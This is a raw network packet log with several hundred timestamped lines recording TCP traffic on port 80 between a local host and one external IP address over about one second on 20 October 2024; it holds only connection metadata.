Oct 20, 2024 23:43:10.533705950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.533786058 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.533855915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.533869028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.533879995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.533893108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.533911943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.533925056 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.533936977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.533948898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.533960104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.533978939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.533992052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.534003019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.534015894 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.534020901 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.534020901 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.534020901 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.534020901 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.534020901 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.534041882 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.534041882 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.534070015 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.535639048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.535650969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.535664082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.535676003 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.535687923 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.535697937 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.535701990 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.535722017 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.535739899 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722326040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722338915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722347975 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722470045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722489119 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722501993 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722508907 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722527981 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722541094 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722552061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722565889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722578049 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722589016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722600937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722613096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722628117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722688913 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722688913 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722688913 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722688913 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722688913 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722691059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722688913 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722706079 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722721100 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722731113 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722789049 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722819090 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722831964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722841978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722853899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722867012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722873926 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722882032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722894907 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722894907 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722908974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722919941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722930908 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722933054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722944021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.722950935 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722975969 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.722994089 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723184109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723196030 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723222017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723233938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723238945 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723246098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723251104 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723258018 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723272085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723273993 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723284006 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723295927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723306894 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723310947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723320961 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723349094 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723359108 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723380089 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723397017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723427057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723440886 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723440886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723455906 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723473072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723486900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723488092 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723500013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723507881 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723512888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723526955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.723526955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723550081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.723572016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.914705038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.914719105 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.914733887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.914782047 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.914783955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.914793968 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.914804935 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.914817095 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.914937973 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.914937973 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.914949894 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.914961100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.914972067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.914983988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.914997101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.914998055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915009975 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915013075 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915040016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915062904 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915096045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915107012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915117979 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915128946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915138960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915148020 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915163040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915174961 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915174961 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915186882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915189981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915200949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915211916 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915218115 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915226936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915247917 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915266991 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915433884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915445089 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915456057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915482998 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915504932 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915596962 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915611982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915622950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915637016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915644884 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915656090 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915667057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915668011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915679932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915690899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915694952 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915704012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915718079 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915725946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915730000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915743113 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915747881 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915755987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915769100 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915772915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915786982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915802002 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915807009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915817976 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915821075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915833950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915843964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915844917 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915859938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915868044 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915873051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915890932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.915894032 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915915966 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.915941000 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916248083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916260004 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916270971 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916282892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916295052 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916295052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916311026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916321993 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916321993 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916342020 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916337013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916357994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916358948 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916369915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916383982 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916393995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916403055 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916405916 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916416883 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916419983 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916438103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916440964 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916450024 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916465044 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916465044 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916477919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916490078 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916491032 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916501999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916512966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916517019 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916526079 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916538000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916538000 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916551113 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916558981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916563988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916577101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916582108 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916591883 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916603088 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916606903 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916615963 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916621923 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916630983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.916644096 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.916671038 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.917207003 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917218924 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917228937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917241096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917252064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917260885 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.917265892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917277098 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.917280912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917294025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917296886 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.917305946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917316914 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.917320967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917336941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917341948 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.917347908 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917361975 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917365074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.917375088 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917385101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:10.917390108 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:10.917417049 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.104381084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104521036 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104533911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104546070 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104547977 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.104583025 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.104583025 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.104592085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104595900 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.104605913 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104618073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104633093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104635954 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.104655027 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.104659081 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104671955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104686022 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104688883 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.104702950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104715109 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.104743958 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.104976892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.104989052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105000019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105027914 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.105050087 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.105504990 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105525970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105539083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105551004 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105552912 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.105566978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105576992 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.105580091 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105595112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105607986 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.105623960 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.105648041 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.105721951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105734110 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105745077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105768919 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.105788946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.105868101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105879068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105889082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105901957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.105917931 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.105932951 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.105947971 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.106103897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.106115103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.106125116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.106137037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.106148958 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.106159925 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.106159925 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.106173992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.106183052 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.106188059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.106201887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.106209993 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.106219053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.106240034 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.106240034 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.106275082 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.106858969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.106911898 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.107130051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.107141018 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.107151985 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.107182980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.107196093 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:11.107219934 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.107229948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.107240915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:11.107253075 CEST	80	49708	185.215.113.37	192.168.2.11
